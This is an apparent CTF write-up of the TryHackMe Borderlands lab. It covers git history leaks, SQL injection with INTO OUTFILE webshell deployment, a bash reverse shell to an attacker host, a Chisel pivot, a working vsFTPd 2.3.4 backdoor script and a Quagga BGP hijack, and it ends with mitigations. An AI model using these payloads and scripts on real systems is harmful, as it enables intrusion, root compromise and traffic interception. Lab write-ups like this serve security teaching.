Borderlands is a hard-level CTF that strings together a deceptively wide attack surface: an exposed .git repository leaks API keys and PHP source code, a SQL injection in the API endpoint writes a webshell to disk, and Chisel tunneling opens a path into an isolated Docker network. From there, a classic vsFTPd 2.3.4 backdoor hands over root on a BGP router, and the endgame requires understanding Border Gateway Protocol well enough to hijack traffic flowing between two internal subnets — impersonating the flag client to receive a trusted TCP connection from the flag server. The chain demands patience across five distinct phases: web exploitation, network pivoting, binary exploitation, routing protocol manipulation, and traffic interception.
Press enter or click to view image in full size
Attack Path: Exposed .git repo (API key recovery + SQLi webshell) → INTO OUTFILE RCE (www-data shell) → Chisel SOCKS pivot (internal network access) → vsFTPd 2.3.4 backdoor CVE-2011-2523 (router1 root) → BGP hijack + IP impersonation (UDP + TCP flag interception)
Platform: TryHackMe Machine: Borderlands Difficulty: Hard OS: Linux (Docker multi-container) Date: April 2026
Table of Contents1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Application Enumeration
1.3 Git Repository Dump
2. API Key Recovery
2.1 Git History Analysis
2.2 APK Reverse Engineering — Vigenere Cipher
3. Initial Access
3.1 SQL Injection via UNION + LOAD_FILE
3.2 Webshell Deployment via INTO OUTFILE
3.3 Reverse Shell
4. Network Pivoting
4.1 Internal Network Discovery
4.2 Chisel SOCKS Tunnel
5. Router1 Exploitation
5.1 Port Scanning the Internal Subnet
5.2 vsFTPd 2.3.4 Backdoor (CVE-2011-2523)
5.3 Router1 Flag
6. BGP Hijacking
6.1 Network Topology
6.2 Zebra and BGP Daemon Configuration
6.3 IP Impersonation via Zebra
6.4 BGP Advertisement via bgpd
7. Flag Interception
7.1 UDP Flag
7.2 TCP Flag
8. Proof of Compromise
9. Vulnerability Summary
10. Defense & Mitigation1. Reconnaissance
1.1 Nmap Port Scan
The engagement begins with a fast service scan against the target. Only two TCP ports respond, but the Nmap script output for port 80 reveals something immediately interesting: the -sC default scripts detect an exposed .git directory and read the last commit message directly from the repository metadata.
nmap -Pn -sC -F <TARGET_IP>PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-git:
| <TARGET_IP>:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository
|_ Last commit message: added mobile apk for beta testing.
|_http-title: Context Information Security - HackBack 2
8080/tcp closed http-proxy💡 When Nmap’s
http-gitscript fires, the.gitdirectory is browsable over HTTP. This means the entire repository — including every historical commit — can be reconstructed locally withgit-dumper.
1.2 Web Application Enumeration
A Gobuster scan against port 80 confirms the .git exposure and uncovers two additional PHP endpoints worth noting.
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt/.git/HEAD (Status: 200) [Size: 23]
/index.php (Status: 200) [Size: 15227]
/info.php (Status: 200) [Size: 80529]The info.php endpoint serves a full phpinfo() output — a significant information disclosure that confirms the PHP version, loaded modules, and server configuration. The index.php page presents a login form and a list of downloadable PDF documents, and announces a mobile APK available for download. Curling the page reveals the APK link directly.
curl http://<TARGET_IP>/index.phpThe response confirms the APK path at /mobile-app-prototype.apk. Both the APK and the .git repository become primary targets for the next phase.
1.3 Git Repository Dump
With directory listing disabled on .git/ but individual object files accessible, git-dumper reconstructs the full repository by crawling known object paths.
git-dumper http://<TARGET_IP>/.git/ ./git-dump
cd git-dump
git log --oneline6db3cf7 added mobile apk for beta testing
fee5595 added white paper pdfs
04f1f41 added theme
b2f776a removed sensitive data
79c9539 added basic prototype of api gateway
93bab0a added under construction page
152b2d9 created repoThe commit message removed sensitive data on b2f776a is the most important entry in this log. In practice, removing credentials from a git repository does not erase them — they remain permanently accessible in the commit history.
Press enter or click to view image in full size
2. API Key Recovery
2.1 Git History Analysis
Inspecting the diff of commit b2f776a and the original api.php from commit 79c9539 reveals the API key validation logic in full.
git show b2f776a
git show 79c9539From the b2f776a diff, the removed line contains three API key prefixes — the first 20 characters of each key are visible in the validation logic:
if (!isset($_GET['apikey']) ||
((substr($_GET['apikey'], 0, 20) !== "<REDACTED_WEB_KEY_PREFIX>") &&
substr($_GET['apikey'], 0, 20) !== "<REDACTED_AND_KEY_PREFIX>" &&
substr($_GET['apikey'], 0, 20) !== "<REDACTED_GIT_KEY_PREFIX>"))The original commit 79c9539 contains the full GIT* key before it was truncated in the removal commit:
<REDACTED_GIT_KEY>The home.php file recovered from the dump contains the full WEB* key embedded in a hardcoded API path:
echo ('<li><a href="api.php?documentid='.$documentid.'&apikey=<REDACTED_WEB_KEY>">');The functions.php file yields additional credentials that prove useful later:
$db_username = "root";
$db_password = "<REDACTED_DB_PASSWORD>";
$db_name = "myfirstwebsite";A bcrypt salt is also present in a commented-out password hash test:
$options = ['salt' => '<REDACTED_BCRYPT_SALT>'];2.2 APK Reverse Engineering — Vigenere Cipher
The AND* key does not appear in plaintext anywhere in the git history. The hint lies in the mobile APK. After decompiling with apktool, the res/values/strings.xml file contains a suspicious entry:
apktool d mobile-app-prototype.apk -o mobile-app-prototype
cat mobile-app-prototype/res/values/strings.xml<string name="encrypted_api_key">CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo</string>Inspecting Main2Activity.smali reveals a decrypt() function that accepts the encrypted string and an encryption key. The encryption key is hardcoded as #TODO — the developer left a placeholder and never implemented the cipher. The function itself returns NOT_IMPLEMENTED.
💡 Even though the decryption was never implemented in the app, the cipher can be reversed manually. Comparing the encrypted string against the 20-character prefix of the
AND*key recovered from the git diff reveals a critical pattern: non-alphabetic characters (digits) appear at the same positions in both strings. This is the fingerprint of a Vigenere cipher, which skips non-alpha characters during encryption and leaves them in place.
With a fragment of known plaintext and the ciphertext, the Vigenere key can be recovered by computing the per-character shift at each alphabetic position. The key index must increment only when processing an alphabetic character — a critical detail, since naively incrementing on every character, including digits, produces an incorrect key.
python3 -c "
enc = 'CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo'
plain = 'ANDVOWLDLAS' # first 11 alpha chars from the known prefix
key = ''
j = 0
for c in enc:
if c.isalpha() and j < len(plain):
shift = (ord(c.upper()) - ord(plain[j].upper())) % 26
key += chr(shift + ord('A'))
j += 1
print('Recovered key fragment:', key)
"Recovered key fragment: CONTEXTCONThe repeating pattern resolves immediately to CONTEXT — the name of the challenge author's company, Context Information Security. With the key identified, full decryption is straightforward. The key index is incremented only on alphabetic characters so that digit positions in the ciphertext are passed through unchanged:
python3 -c "
enc = 'CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo'
key = 'CONTEXT'
result = ''
ki = 0
for c in enc:
if c.isalpha():
base = ord('A') if c.isupper() else ord('a')
k = ord(key[ki % len(key)]) - ord('A')
result += chr((ord(c) - base - k) % 26 + base)
ki += 1
else:
result += c
print(result)
"<REDACTED_AND_KEY>All three API keys are now recovered:
Key Pattern Full Value WEB* <REDACTED_WEB_KEY> GIT* <REDACTED_GIT_KEY> AND* <REDACTED_AND_KEY>
3. Initial Access
3.1 SQL Injection via UNION + LOAD_FILE
The recovered functions.php source reveals that GetDocumentDetails() constructs its SQL query through direct string concatenation with no parameterization:
$sql = "select documentid, documentname, location from documents where documentid=".$documentid;The documentid parameter is passed directly from the GET request into the query. A UNION-based injection using LOAD_FILE() can read arbitrary files from the server filesystem, provided MySQL has the FILE privilege — which it does here, since the database runs as root.
Confirming that the API endpoint accepts the recovered key:
curl "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=1"Document ID: 1
Document Name: Context_Red_Teaming_Guide.pdf
Document Location: Context_Red_Teaming_Guide.pdfReading the webapp flag directly via LOAD_FILE:
curl -g "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=0%20UNION%20SELECT%201%2C2%2CLOAD_FILE('/var/www/flag.txt')--%20-"Document ID: 1
Document Name: 2
Document Location: {FLAG:Webapp:<REDACTED_FLAG>}3.2 Webshell Deployment via INTO OUTFILE
The same injection path supports INTO OUTFILE, which writes arbitrary content to the filesystem. Writing a one-liner PHP webshell into the web root:
curl -g "http://<TARGET_IP>/api.php?apikey=<REDACTED_WEB_KEY>&documentid=0%20UNION%20SELECT%201%2C2%2C'%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%3F%3E'%20INTO%20OUTFILE%20'/var/www/html/shell.php'--%20-"Confirming execution:
Press enter or click to view image in full size
curl "http://<TARGET_IP>/shell.php?cmd=id"1 2 uid=33(www-data) gid=33(www-data) groups=33(www-data)3.3 Reverse Shell
With code execution confirmed, a bash reverse shell is triggered through the webshell. A listener is prepared on the attacker's machine first.
nc -lvnp 4444curl "http://<TARGET_IP>/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"The shell is immediately stabilized to a full PTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermInspecting the network configuration reveals that the app container is dual-homed — connected to both the Docker management network and an isolated internal network:
ip addreth0: 172.18.0.2/16 (Docker management network)
eth1: 172.16.1.10/24 (Internal network — router subnet)4. Network Pivoting
4.1 Internal Network Discovery
With only Python3 available on the target (no nmap, no nc, no ping), a custom TCP connection sweep identifies live hosts on the 172.16.1.0/24 subnet. The scan checks a selection of ports, including common Linux services and routing daemon ports specific to Quagga/BGP infrastructure.
python3 -c "
import socket
for i in range(1, 255):
ip = '172.16.1.' + str(i)
if ip == '172.16.1.10':
continue
open_ports = []
for port in [21, 22, 80, 179, 2601, 2605]:
try:
s = socket.socket()
s.settimeout(0.5)
s.connect((ip, port))
open_ports.append(port)
s.close()
except:
pass
if open_ports:
print('UP: ' + ip + ' ports: ' + str(open_ports))
"UP: 172.16.1.128 ports: [21, 179, 2601, 2605]Port 21 confirms FTP. Port 179 is BGP. Ports 2601 and 2605 are the Zebra and bgpd management daemons from the Quagga routing suite. This is a router.
Grabbing the FTP service banner confirms the version:
python3 -c "
import socket
s = socket.socket()
s.settimeout(3)
s.connect(('172.16.1.128', 21))
print(s.recv(1024).decode())
s.close()
"220 (vsFTPd 2.3.4)4.2 Chisel SOCKS Tunnel
To run tools from Kali against the internal network, a Chisel reverse SOCKS5 proxy is established. Since curl is unavailable on the target, the binary is transferred using Python's urllib module.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
On Kali, the binary is served, and the tunnel server is started:
python3 -m http.server 8000
./chisel server -p 9999 --reverseOn the target:
python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/chisel','/tmp/chisel')"
chmod +x /tmp/chisel
/tmp/chisel client <ATTACKER_IP>:9999 R:1080:socksOnce session#1 appears on the Kali server, proxychains is configured to route through the tunnel:
sudo sed -i 's/socks.*/socks5 127.0.0.1 1080/' /etc/proxychains.conf5. Router1 Exploitation
5.1 Port Scanning the Internal Subnet
With the SOCKS proxy active, proxychains it routes traffic from Kali through the app container into the internal subnet. Connectivity to the router is confirmed immediately:
proxychains curl -s "http://172.16.1.128/" 2>/dev/nullThe FTP banner already confirms vsFTPd 2.3.4. This version contains one of the most well-known backdoors in CTF history.
5.2 vsFTPd 2.3.4 Backdoor (CVE-2011–2523)
The vsFTPd 2.3.4 backdoor is triggered by sending a username containing the string :). When the server processes this username, it opens a root bind shell on TCP port 6200. The standard exploit script relies on telnetlib, which was removed from Python 3.13. A custom implementation using raw sockets avoids this dependency entirely.
# vsftpd_fixed.py
import socket, time, sys, threadinghost = sys.argv[1]s = socket.socket()
s.settimeout(5)
s.connect((host, 21))
s.recv(1024)
s.send(b"USER backdoor:)\r\n")
s.recv(1024)
s.send(b"PASS pass\r\n")
time.sleep(2)
s.close()time.sleep(1)
s2 = socket.socket()
s2.connect((host, 6200))
print("[+] Got root shell!")def recv_loop():
while True:
try:
data = s2.recv(4096)
if data:
sys.stdout.write(data.decode(errors='ignore'))
sys.stdout.flush()
except:
breakthreading.Thread(target=recv_loop, daemon=True).start()while True:
try:
cmd = input()
s2.send((cmd + '\n').encode())
except KeyboardInterrupt:
break
Running through proxychains delivers a root shell on router1:
proxychains python3 vsftpd_fixed.py 172.16.1.128[+] Got root shell!Confirming privilege:
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys)...5.3 Router1 Flag
find / -name "*flag*" 2>/dev/null
cat /var/www/flag.txt
{FLAG:Router1:<REDACTED_FLAG>}6. BGP Hijacking
6.1 Network Topology
With root on router1, the full network picture becomes clear. The routing table and Quagga configuration files reveal a three-router BGP topology:
+--------------------------------------------------+
| Internet / TryHackMe VPN |
+--------------------------------------------------+
|
+------------------+
| 172.18.0.2 |
| Web App (APP) |
| 172.16.1.10 |
+------------------+
| 172.16.1.0/24
+------------------+
| 172.16.1.128 |
| ROUTER 1 | AS 60001
| 172.16.12.101 |
| 172.16.31.101 |
+------------------+
/ \
172.16.12.0/24 172.16.31.0/24
/ \
+------------------+ +------------------+
| 172.16.12.102 | | 172.16.31.103 |
| ROUTER 2 | AS 60002 | ROUTER 3 | AS 60003
+------------------+ +------------------+
| |
172.16.2.0/24 172.16.3.0/24
| |
+------------------+ +------------------+
| 172.16.2.10 | | 172.16.3.10 |
| flag_client | | flag_server |
| (sends UDP:4444) | | (listens TCP:5555)|
+------------------+ +------------------+The flag client at 172.16.2.10 periodically sends UDP packets containing the UDP flag. The flag server at 172.16.3.10 listens on TCP port 5555 and sends the TCP flag to any client connecting from a trusted host — specifically from the 172.16.2.x address space.
💡 BGP selects routes based on the longest prefix match and lowest AS path length. By advertising a more specific
/24route for172.16.2.0/24and binding172.16.2.10as a local IP on router1, router1 becomes the BGP-preferred destination for traffic destined to the flag client's address space. Other routers in the AS will prefer this more-specific advertisement and route accordingly.
6.2 Zebra and BGP Daemon Configuration
The Quagga configuration files on router1 disclose both daemon passwords:
cat /etc/quagga/zebra.conf
# password: <REDACTED_ZEBRA_PASSWORD>cat /etc/quagga/bgpd.conf
# password: <REDACTED_BGP_PASSWORD>The bgpd configuration also confirms the two BGP neighbors and the AS numbers for Router2 and Router3:
neighbor 172.16.12.102 remote-as 60002 ← Router2 (flag_client network)
neighbor 172.16.31.103 remote-as 60003 ← Router3 (flag_server network)6.3 IP Impersonation via Zebra
The Zebra daemon manages the kernel routing table and interface addresses. Connecting to it on port 2601 and assigning 172.16.2.10/32 it to the eth0 interface makes router1 respond to traffic destined for that IP as if it were the flag client.
The Zebra daemon uses a Telnet-based protocol with IAC negotiation bytes. Connecting via Python’s raw socket with a short receive loop handles the negotiation gracefully:
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 2601))
s.recv(4096)
s.send(b'<REDACTED_ZEBRA_PASSWORD>\r\n')
time.sleep(1); s.recv(4096)
s.send(b'enable\r\n')
time.sleep(1); s.recv(4096)
s.send(b'configure terminal\r\n')
time.sleep(1); s.recv(4096)
s.send(b'interface eth0\r\n')
time.sleep(1); s.recv(4096)
s.send(b'ip address 172.16.2.0/24\r\n')
time.sleep(1); s.recv(4096)
s.send(b'ip address 172.16.2.10/32\r\n')
time.sleep(1); s.recv(4096)
s.send(b'quit\r\nquit\r\nquit\r\nquit\r\n')
time.sleep(1)
print(s.recv(4096).decode('ascii', errors='ignore'))
s.close()
"6.4 BGP Advertisement via bgpd
With the IP addresses bound locally, the bgpd daemon must be told to advertise 172.16.2.0/24 to its neighbors and redistribute connected routes. This causes Router3 to update its routing table and prefer Router1 as the next hop for 172.16.2.0/24 traffic, since Router1 originates the route with a lower AS path.
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 2605))
s.recv(4096)
s.send(b'<REDACTED_BGP_PASSWORD>\r\n')
time.sleep(1); s.recv(4096)
s.send(b'enable\r\n')
time.sleep(1); s.recv(4096)
s.send(b'configure terminal\r\n')
time.sleep(1); s.recv(4096)
s.send(b'router bgp 60001\r\n')
time.sleep(1); s.recv(4096)
s.send(b'network 172.16.2.0/24\r\n')
time.sleep(1); s.recv(4096)
s.send(b'redistribute connected\r\n')
time.sleep(1); s.recv(4096)
s.send(b'quit\r\nquit\r\nquit\r\nquit\r\n')
time.sleep(1)
print(s.recv(4096).decode('ascii', errors='ignore'))
s.close()
"Alternatively, the same BGP advertisement can be performed interactively through vtysh:
Press enter or click to view image in full size
vtysh
configure terminal
router bgp 60001
network 172.16.2.0/24
network 172.16.3.0/24
end
clear ip bgp *
exit7. Flag Interception
7.1 UDP Flag
With router1 now impersonating 172.16.2.10 And when BGP routing converged, the flag client's UDP transmissions are redirected to router1. Listening on UDP port 4444 receives the flag payload within approximately 30 seconds of BGP convergence:
nc -luvnp 4444listening on [::]:4444 ...
connect to [::ffff:172.16.2.10]:4444 from [::ffff:172.16.3.10]:40803
{FLAG:UDP:<REDACTED_FLAG>}Press enter or click to view image in full size
💡 UDP interception requires only passive listening — because UDP is stateless, simply being the BGP-preferred destination for
172.16.2.10is sufficient for the packets to arrive. TCP is more demanding and requires completing a full three-way handshake, which in turn requires the source IP to be trusted by the flag server.
7.2 TCP Flag
The flag server at 172.16.3.10:5555 does not push the TCP flag unsolicited — it waits for an inbound connection from a trusted source. Port scanning earlier confirmed that 172.16.3.10:5555 it responds Connection from untrusted host to connections from unknown sources. Since router1 now owns 172.16.2.10 as a local address, it can initiate a connection using that address as the source IP. The nc -s flag specifies the local source address for the connection:
nc -s 172.16.2.10 172.16.3.10 5555{FLAG:TCP:<REDACTED_FLAG>}The flag server immediately responds with the TCP flag upon receiving a connection from the trusted 172.16.2.10 address space.
8. Proof of Compromise
# Router1
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)# Web App
uid=33(www-data) gid=33(www-data) groups=33(www-data)9. Vulnerability Summary
# Vulnerability Severity Impact 1 Exposed .git directory via HTTP, full source code, and credential history disclosure 2 Vigenere-encrypted API key in Android APK, Medium API key recoverable through static analysis 3 SQL injection in documentid parameter High Arbitrary file read and webshell write via LOAD_FILE / INTO OUTFILE 4 vsFTPd 2.3.4 backdoor (CVE-2011-2523) Critical Unauthenticated root shell on router1 5 BGP route hijacking via Quagga misconfiguration Critical Traffic interception across isolated subnets 6 Flag server trust based on source IP only High Flag delivered to any host impersonating the trusted client IP
10. Defense & Mitigation
10.1 Exposed .git Directory
Root Cause: The web server was deployed directly from a working git repository without removing or blocking the .git directory. HTTP servers do not restrict access to dotfiles or hidden directories by default unless explicitly configured.
Mitigations:
- Block
.gitat the web server level — add a deny rule in Nginx or Apache configuration:
location ~ /\.git {
deny all;
return 404;
}- Deploy artifacts, not repositories — use a CI/CD pipeline that copies only built assets to the web root, never the source repository
- Audit deployments with tools such as
git-dumperto detect exposure before attackers do - Use
.gitignorewith a secrets scanner such asgit-secretsortruffleHogto prevent credential commits
10.2 Secrets in Git History
Root Cause: API keys were committed to the repository and later removed in a follow-up commit. Git history is immutable by default — removing a file in a new commit does not erase it from the object store.
⚠️ Once a secret is committed to a shared repository, it must be treated as fully compromised regardless of any subsequent removal commit. The only safe remediation is rotation.
Mitigations:
- Rotate all exposed credentials immediately upon discovery
- Rewrite history using
git filter-repoto purge sensitive content from all commits, then force-push and require all collaborators to re-clone - Pre-commit hooks with secret scanning (
detect-secrets,gitleaks) prevent sensitive strings from entering the repository at commit time - Use a secrets manager (HashiCorp Vault, AWS Secrets Manager) and inject credentials at runtime rather than storing them in source code
10.3 SQL Injection
Root Cause: The GetDocumentDetails() and UpdateDocumentName() functions in functions.php concatenate user-supplied input directly into SQL query strings. No parameterization or input validation is applied.
Mitigations:
- Use prepared statements with bound parameters for all database queries:
$stmt = $conn->prepare("SELECT documentid, documentname, location FROM documents WHERE documentid = ?");
$stmt->bind_param("i", $documentid);
$stmt->execute();- Validate and cast input types — if
documentidmust be an integer, cast it explicitly:$documentid = (int)$_GET['documentid']; - Restrict MySQL FILE privilege — revoke
FILEfrom the web application database user to preventLOAD_FILEandINTO OUTFILEexploitation:
REVOKE FILE ON *.* FROM 'webuser'@'localhost';- Apply least privilege — the web application should connect as a dedicated user with only
SELECT,INSERT,UPDATE, andDELETEpermissions on its own database, never asroot
10.4 vsFTPd 2.3.4 Backdoor (CVE-2011–2523)
Root Cause: The vsFTPd 2.3.4 release contains a deliberate backdoor introduced through a supply chain compromise of the upstream source tarball in 2011. Any system running this version is vulnerable to unauthenticated root shell access.
⚠️ This is not a misconfiguration — it is a backdoored binary. No configuration change mitigates the risk. The only remediation is replacement.
Mitigations:
- Upgrade immediately to a current, maintained version of vsFTPd (3.x) or replace with a hardened alternative such as
sftpover OpenSSH - Verify package integrity using distribution-provided checksums and GPG signatures before deploying any binary
- Disable FTP entirely if file transfer functionality is not required; use SFTP or SCP instead, which operate over the already-hardened SSH channel
- Network segmentation — internal routers should not expose management services (FTP, Telnet, HTTP) to adjacent subnets without strict firewall controls
10.5 BGP Route Hijacking
Root Cause: The Quagga BGP configuration on router1 does not implement prefix filtering for outbound route advertisements. Any process with access to the bgpd management socket can advertise arbitrary prefixes to BGP neighbors, who will accept them without validation.
Mitigations:
- Implement prefix lists and route maps to restrict which prefixes each BGP neighbor is permitted to advertise and accept:
ip prefix-list ALLOWED-OUT seq 5 permit 172.16.1.0/24
ip prefix-list ALLOWED-OUT seq 10 deny 0.0.0.0/0 le 32
neighbor 172.16.12.102 prefix-list ALLOWED-OUT out- Enable BGP route origin validation (ROV) using RPKI to cryptographically verify that advertised prefixes are authorized by the legitimate address holder
- Secure Quagga management sockets — restrict access to ports 2601 and 2605 using host-based firewall rules so that only authorized management hosts can connect
- Use MD5 authentication for BGP sessions between neighbors to prevent session hijacking
10.6 Source IP Trust for Flag Delivery
Root Cause: The flag server at 172.16.3.10 determines whether to deliver its flag payload based solely on the source IP address of the connecting client. Source IP addresses are trivially spoofable at the routing level when an attacker controls a router in the path.
Mitigations:
- Use cryptographic authentication for flag delivery — require a shared secret, token, or TLS client certificate that cannot be obtained through IP impersonation alone
- Log and alert on unexpected source IPs — if
172.16.2.10connects from an unexpected MAC address or appears on an unexpected network segment, generate an alert - Apply network-level controls — use VLAN isolation and static ARP entries to make impersonation significantly harder at the data link layer